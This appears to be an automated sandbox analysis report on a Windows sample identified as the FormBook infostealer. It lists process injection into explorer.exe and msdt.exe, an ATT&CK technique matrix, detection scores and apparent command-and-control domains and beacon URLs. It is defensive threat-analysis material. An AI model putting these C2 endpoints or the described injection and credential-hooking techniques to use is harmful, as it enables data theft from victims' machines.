          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

          Stealing of Sensitive Information:

          barindex
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000009.00000002.785228330.00000000014F0000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.914598348.0000000003820000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000009.00000002.782865836.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.738669459.0000000003659000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.913261174.0000000000F30000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 9.2.86dXpRWnFG.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 9.2.86dXpRWnFG.exe.400000.0.raw.unpack, type: UNPACKEDPE

          Remote Access Functionality:

          barindex
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000009.00000002.785228330.00000000014F0000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.914598348.0000000003820000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000009.00000002.782865836.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.738669459.0000000003659000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.913261174.0000000000F30000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 9.2.86dXpRWnFG.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 9.2.86dXpRWnFG.exe.400000.0.raw.unpack, type: UNPACKEDPE

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid AccountsShared Modules1Path InterceptionProcess Injection512Rootkit1Credential API Hooking1Security Software Discovery221Remote ServicesCredential API Hooking1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
          Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsMasquerading1LSASS MemoryVirtualization/Sandbox Evasion3Remote Desktop ProtocolArchive Collected Data1Exfiltration Over BluetoothIngress Tool Transfer1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Virtualization/Sandbox Evasion3Security Account ManagerProcess Discovery2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationNon-Application Layer Protocol2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Disable or Modify Tools1NTDSRemote System Discovery1Distributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol2SIM Card SwapCarrier Billing Fraud
          Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptProcess Injection512LSA SecretsSystem Information Discovery112SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
          Replication Through Removable MediaLaunchdRc.commonRc.commonDeobfuscate/Decode Files or Information1Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
          External Remote ServicesScheduled TaskStartup ItemsStartup ItemsObfuscated Files or Information3DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
          Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobSoftware Packing1Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 signatures2 2 Behavior Graph ID: 320986 Sample: 86dXpRWnFG.exe Startdate: 20/11/2020 Architecture: WINDOWS Score: 100 36 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->36 38 Malicious sample detected (through community Yara rule) 2->38 40 Multi AV Scanner detection for submitted file 2->40 42 4 other signatures 2->42 10 86dXpRWnFG.exe 3 2->10         started        process3 file4 28 C:\Users\user\AppData\...\86dXpRWnFG.exe.log, ASCII 10->28 dropped 52 Tries to detect virtualization through RDTSC time measurements 10->52 14 86dXpRWnFG.exe 10->14         started        signatures5 process6 signatures7 54 Modifies the context of a thread in another process (thread injection) 14->54 56 Maps a DLL or memory area into another process 14->56 58 Sample uses process hollowing technique 14->58 60 Queues an APC in another process (thread injection) 14->60 17 explorer.exe 14->17 injected process8 dnsIp9 30 powderedsilk.com 34.102.136.180, 49767, 80 GOOGLEUS United States 17->30 32 www.voetbalvandaag.net 52.0.217.44, 49768, 80 AMAZON-AESUS United States 17->32 34 www.powderedsilk.com 17->34 44 System process connects to network (likely due to code injection or exploit) 17->44 21 msdt.exe 17->21         started        signatures10 process11 signatures12 46 Modifies the context of a thread in another process (thread injection) 21->46 48 Maps a DLL or memory area into another process 21->48 50 Tries to detect virtualization through RDTSC time measurements 21->50 24 cmd.exe 1 21->24         started        process13 process14 26 conhost.exe 24->26         started       

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.

          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          86dXpRWnFG.exe32%VirustotalBrowse
          86dXpRWnFG.exe10%ReversingLabs
          86dXpRWnFG.exe100%Joe Sandbox ML

          Dropped Files

          No Antivirus matches

          Unpacked PE Files

          SourceDetectionScannerLabelLinkDownload
          9.2.86dXpRWnFG.exe.400000.0.unpack100%AviraTR/Crypt.ZPACK.GenDownload File

          Domains

          No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          http://www.voetbalvandaag.net/ogg/?JfspOLvH=+OCwvSqshndtikU4mojjB9YFTo9N+xlFipQY5pDaON76D3kf/3J7hGXS0Ci6kD/8+653&FdtP=yL0l42d8z4u0%Avira URL Cloudsafe
          http://i.cdnpark.com/themes/registrar/791105.css0%Avira URL Cloudsafe
          http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
          http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
          http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
          http://www.fontbureau.comcomt_0%Avira URL Cloudsafe
          http://www.tiro.com0%URL Reputationsafe
          http://www.tiro.com0%URL Reputationsafe
          http://www.tiro.com0%URL Reputationsafe
          http://www.goodfont.co.kr0%URL Reputationsafe
          http://www.goodfont.co.kr0%URL Reputationsafe
          http://www.goodfont.co.kr0%URL Reputationsafe
          http://www.powderedsilk.com/ogg/?FdtP=yL0l42d8z4u&JfspOLvH=fOCM8bU6nldV/iwSncfaF5Bzy/lGPGgo/g5DGIZRlu3EMk3UROnm6TGL4YPAlMSLjacD0%Avira URL Cloudsafe
          http://www.carterandcone.coml0%URL Reputationsafe
          http://www.carterandcone.coml0%URL Reputationsafe
          http://www.carterandcone.coml0%URL Reputationsafe
          http://www.sajatypeworks.com0%URL Reputationsafe
          http://www.sajatypeworks.com0%URL Reputationsafe
          http://www.sajatypeworks.com0%URL Reputationsafe
          http://www.typography.netD0%URL Reputationsafe
          http://www.typography.netD0%URL Reputationsafe
          http://www.typography.netD0%URL Reputationsafe
          http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
          http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
          http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
          http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
          http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
          http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
          http://fontfabrik.com0%URL Reputationsafe
          http://fontfabrik.com0%URL Reputationsafe
          http://fontfabrik.com0%URL Reputationsafe
          http://www.founder.com.cn/cn0%URL Reputationsafe
          http://www.founder.com.cn/cn0%URL Reputationsafe
          http://www.founder.com.cn/cn0%URL Reputationsafe
          http://www.fontbureau.comldva0%Avira URL Cloudsafe
          http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
          http://www.fontbureau.como0%URL Reputationsafe
          http://www.fontbureau.como0%URL Reputationsafe
          http://www.fontbureau.como0%URL Reputationsafe
          http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
          http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
          http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
          http://www.%s.comPA0%URL Reputationsafe
          http://www.%s.comPA0%URL Reputationsafe
          http://www.%s.comPA0%URL Reputationsafe
          http://www.sandoll.co.kr0%URL Reputationsafe
          http://www.sandoll.co.kr0%URL Reputationsafe
          http://www.sandoll.co.kr0%URL Reputationsafe
          http://www.urwpp.deDPlease0%URL Reputationsafe
          http://www.urwpp.deDPlease0%URL Reputationsafe
          http://www.urwpp.deDPlease0%URL Reputationsafe
          http://www.zhongyicts.com.cn0%URL Reputationsafe
          http://www.zhongyicts.com.cn0%URL Reputationsafe
          http://www.zhongyicts.com.cn0%URL Reputationsafe
          http://www.sakkal.com0%URL Reputationsafe
          http://www.sakkal.com0%URL Reputationsafe
          http://www.sakkal.com0%URL Reputationsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          powderedsilk.com
          		34.102.136.180
          		truetrue
            		unknown
            www.voetbalvandaag.net
            		52.0.217.44
            		truetrue
              		unknown
              www.powderedsilk.com
              		unknown
              		unknowntrue
                		unknown

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                http://www.voetbalvandaag.net/ogg/?JfspOLvH=+OCwvSqshndtikU4mojjB9YFTo9N+xlFipQY5pDaON76D3kf/3J7hGXS0Ci6kD/8+653&FdtP=yL0l42d8z4utrue
                • Avira URL Cloud: safe
                		unknown
                http://www.powderedsilk.com/ogg/?FdtP=yL0l42d8z4u&JfspOLvH=fOCM8bU6nldV/iwSncfaF5Bzy/lGPGgo/g5DGIZRlu3EMk3UROnm6TGL4YPAlMSLjacDtrue
                • Avira URL Cloud: safe
                		unknown

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                http://www.apache.org/licenses/LICENSE-2.086dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                  		high
                  http://www.fontbureau.com86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                    		high
                    http://www.fontbureau.com/designersG86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                      		high
                      http://i.cdnpark.com/themes/registrar/791105.cssmsdt.exe, 0000000E.00000002.917025969.0000000005D3F000.00000004.00000001.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://www.fontbureau.com/designers/?86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                        		high
                        http://www.founder.com.cn/cn/bThe86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        		unknown
                        http://www.fontbureau.com/designers?86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                          		high
                          http://www.fontbureau.comcomt_86dXpRWnFG.exe, 00000000.00000002.737090679.0000000000D17000.00000004.00000040.sdmpfalse
                          • Avira URL Cloud: safe
                          		low
                          http://www.tiro.comexplorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
                          		unknown
                          http://www.fontbureau.com/designersexplorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                            		high
                            http://www.goodfont.co.kr86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            		unknown
                            http://www.carterandcone.coml86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            		unknown
                            http://www.sajatypeworks.com86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            		unknown
                            http://www.typography.netD86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            		unknown
